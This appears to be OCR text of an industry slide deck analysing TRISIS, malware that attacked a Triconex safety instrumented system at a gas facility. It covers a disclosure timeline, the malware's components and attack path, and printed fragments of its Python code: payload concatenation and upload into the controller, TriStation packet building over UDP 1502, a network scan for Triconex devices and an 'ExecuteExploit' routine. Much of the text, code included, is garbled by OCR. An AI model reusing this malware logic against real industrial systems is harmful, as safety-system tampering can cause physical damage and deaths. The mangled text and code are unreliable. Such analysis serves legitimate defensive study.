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Background: By the numbers

ICS Tailored Malware Designed to Disrupt SIS Focused
Industrial Processes

A Stuxnet A Stuxnet TRISIS is tailored to

A Havex A CRASHOVERRIDE impacting Triconix SIS

A Blackenergy?2 A TRISIS exclusively

A CRASHOVERRIDE

A TRISIS
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SIS Background

g= -~  AFailsafe for the industrial
E’" '5 3 process
L AShould be independent of
- - q = industrial process
ANot arbitrary:
AHazard / Operability
Studies
AProcess Hazard Analysis

AFMEA
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Timeline

* Dragos finds TRISIS and begins high-
level analysis

Late-November

* Dragos confirms the malicious nature of
TRISIS with an understanding that it
has been used at least at one victim site

* Dragos coordinates with DOE and DHS
to confirm there are no considerable
sensitivities given the focus of the
malware and that notifications would
not ruin ongoing investigations

* FirekEye learns that Dragos has copies
of the malware; coordination is done
through interested parties to ensure
sensitivities are respected

BACKGROUND EVENT

MALWARE

December 6

* The initial advisory is sent to Dragos ICS WorldView
customers

December 8

« The in-depth Technical Report was completed and
sent to Dragos ICS WorldView Customers

 Dragos prepares a public report to have available
for whenever the information is leaked to the public
or in case someone else publishes; focus is on
nuance and defense

December 12

* FireEye publishes report on TRISIS (TRITON);
Dragos follows up with its own publication
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' TRISIS Event

SUBSCRIBE | ABOUT | RSS cy h e rs c 0 0 p BROUGHT TO YOU BY SNG Q
SCROF winl

GOVERNMENT TRANSPORTATION HEALTHCARE TECHNOLOGY FINANCIAL WATCH LISTEN ATTEND COMMUNITY

TECHNOLOGY

Trisis has the security world spooked,
stumped and searching for answers
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TRISIS Event

AUnspecified gas facility in Saudi Arabia
attacked, August 2017

Alnfection resulted in system shut -down
during intrusion
ANot assessed as shut -down due to attack

AAttack focused on Schneider Electric
Triconex system, 3008 PowerPC processor

version
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4 TRISIS Attack Path

ASISconnected workstation compromised

AMalicious compiled Python moved to
Workstation with payloads

AEXE handles connectivity to and interaction
with SIS
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Potential TRISIS Attack Scenario

Establish Transfer BUaSsee -I;(IE | t?) Tristation Leverage
Access on SIS TRISIS Program Access for ICS

Upload : ) : )
e tation Compromises Disruption via

Connecting Package to

System SYAIEI Program SIS SIS
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TRISIS Attack Observed

Establish Transfer BUaSsee 'I;(I; | t?) Tristation
Access on SIS TRISIS Program

Riioad Compromises
Tristation P

Connecting Package to

System SYAIEI Program SIS

Something Breaks
Herel
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4 What TRISIS Means

ADeliberate targeting of SIS accepts risk:
APhysical damage
APotential injury or loss of life

ANew norm established in ICS targeting and
operations
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' TRISIS Components

Engineering
Workstation

LIBRARY.ZIP +

TRILOG.EXE INJECT.BIN | IMAIN.BIN
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y TRILOG.EXE + Library.zip

APy2Exe executable masquerading as
legitimate software
ALibrary.zip contains external python library
dependencies
AArtifact of the Py2Exe process
AContains attacker written libraries along
with standard libraries
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' TRILOG.EXE Initialization

2 test = TsHi.TsHi() #Create TsHi object from Library

3 connect result = test.connect(sys.argv[l]) # connect to command-line IF
4

o script result = False #Did prog complete successfully?

o do restore = False #Do we need to remove program?

7 Ewhile True:

3 — try: # concatenate inject.bin + imain.bkbin

9 data = open('inject.kin', 'rk').read()
10 data = sh.chend{data) #convert data to big gndian
11 pavload = open({'imain.kin', "'rk').read{()
12 pavload = sh.chend(pavload)
13 payvload = payload + struct.pack('<II', len(pavload) + 3, 5666%70) FOx56T5%4
14 s data = data + struct.pack('<I1', 4ccl, len(pavload)) + pavload
15 [ except:
16 print 'module file read FATLUEE®
17 e break
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' TRILOG.EXE - Test + Upload

20 result = PresetStatusField(test, '""=01'\xE0'\=O00\xO00") #create dummy program
21 [H if result »>= 0: #Did it work?

22 = do restore = True

23 [ if result != 1:

29 print 'FPreset failure'

25 P break

26 print "'uploading module’

27 AppendResult? = test.SafelippendProgramMod (data)
28 = if not AppendResult2: #Did it upload correctly?
29 print '"main code write FAILED!'®

30 & break

31 # Omitted:

32 % Use test.GetProjectInfo(), and the fstat field
33 # to wait on uploaded program to sStop exXecuting.
34 % Sets script result to True if successful

35 = break
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' TRILOG.EXE - Cleanup

36

37 if not script result:

38 print 'Script FAILED®

35 print 'Debuglnfo:’

40 test.print last error()

41 %EISE:

42 print 'Script SUCCESS'

43 if do restore:

44 [f print 'force removing the code, no checks'
45 print UploadDummyForce (test) # "remove uploaded program”.
46 %else:

47 print 'restore not regquired’

48 test.close()

49
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y TRILOG.EXE - Summary/impact

ASummary
1. Connectsto Triconex using IP argument
2. Concatenates Inject.bin to imain.bin
3. Tests for code upload
4. Uploads Iinject+imain , removes If necessary.

AUMPACT: Provides a Ydocu
for uploading control programs
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y LIBRARY.zip - The Workhorse

ATsLow.py z Socket layer implementation of
Tristation /TCM Protocol

ATsBase.py zTristation Network Commands

ATsHi.py 7z Uses TsBaseto provide Read/Write
program functionality
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4 LIBRARY.zip - The Workhorse

ATs cnames.py z Enumeration of Tristation
Code

Acrc.py z Provides a variety of CRC functions

Ash.py z Data dumping and changing
endianness
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y TsLow.py - Tristation Protocol

ATristation Protocol defines the packet
format to send network commands

AOptions include uploading code, reading
controller state, etc.

ATCM is the wrapper packet for a Tristation
Protocol message

ACommunications occur over UDP/1502
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TsLow.py - TCM & Tristation

TCM Wrapper

Tristation Message
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' TsLow.py - tcm _exec

230
231 =] def tcm exec(self, type, data='', timeout=-1):

232 self. tcm result = None

233 packet = struct.pack('<HH', type, len(data)) + data

234 packet = crcle append(packet)

235 self.udp exec(packet, timeout)

236 b return self.tcm result() .

tcm_result () parses the reply
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TsLow.py - ts _exec

5l —ldef ts exec(self, (cmd, reply), data='"', timeout=-1}:

S22 self. exreply = reply

o3 ts len = len(data) + 10

o4 unchecked = struct.pack('<HEEIH', 0, cmd, self. gecnt, 0, ts len) + data
o5 sum val = cksum(unchecked, ts len)

b packet = unchecked[0:&] + struct.pack('<H', sum wval) + unchecked[Z:]

o attempts = 0O

cg - while attempts < 3:

o5 #0mitted count sync for brevity

B0 attempts 4= 1

Bl exec result = self.tcm exec(s, packet, timeout) [O] #I:DI-:II-IF!.HD_REPLY
62 = 1f exec result = I: #HDT_CDNNEI:TED

T reconnect result = self.tcm reconnect ()

64 return reconnect result or False #THIS I5 . PROELEM

65 - continne \
EE - break Whoopsl

[T] return self.ts result () fparses reply into CUple s
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v Attackers are Human Too

Ats_exec returns either a ts_result tuple or a

Boolean
Ats result == (error_code , reply, cmd)
Atcm_reconnect () -> Bool
ATsBase.py repeatedly calls the following
sequence:
result = ts exec (cmd, ex reply )
return  ts_cut_reply (result)
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Attackers are Human Too

=3

£ Edef ts cut replv(result):
G —

1f resulc[0] '= 0O:
10 = return
11 res data = result[l]
12 = 1f res data = None or len(res data) < 2:
13 = return
14 = return res datal[2:]

First line of function can cause a program crash
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def detect ip(self):

ip list = set{()
bec sock = None
try:

T5 PORT = 1502

bec sock.sendto(ping message, ('2Z55.255.
while True:

try:

data, addr = bc_sock.recvirom(lOZ4)
except:

break
if data !'= ping message:

continoe
if addr[l] = T5 PORT:
ip list.add{addr[C0]}
bc sock.sendto(close_message, (addr[0], TS _PORET))

eXxception while detect ip!
for ip in ip list:

retorn ip #¥This will only return 1 IP.
return

EVENT MALWARE RESPONSE
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y TsLow.py - Summary/impact

ASummary
Almplements both TCM and Tristation protocol
messages
Alncludes ability to scan network for  Triconex SIS
Almpact

APreviously undocumented protocol now easily
re-implemented
ADef enders benefit from at:t
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’ TsBase.py - Network Commands

ASeries of network commands with similar
structure

def UploadProgram({self, id, offset=0):
request = struct.pack('<HHHH', id, 0, O, offset)
result = self.ts exec((&>, le&Z), request)
return ts cut reply(result) T

AjEpr oitj Unteracti on

def ExecuteExploit{self, cmd, data="", mp=255):
request = struct.pack('<EE"', cmd, mp) + data
result = self.ts exec((22, 150), regquest) $Get MP Status
return ts nocut reply(result)
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y TsBase.py - Impact

ADocuments subset of available Tristation
network commands
ABuilt -in ability to upload/download
programs and functions
AjExecuteExploiti r eveal s which f
BIN files attempt to hook
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y TsHI.py - SafeAppendProgramMod

AFairly involved control flow:
1. Enumerates Functions and Programs
2. Reads | ast program I n SY:
3. If program contains custom TRISIS codesign,
it will overwrite that program with argument
4. Otherwise, it will allocate a new program
appending the TRISIS codesign
5. Runs program and checks state
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' TsHI.py - Exploit Interaction
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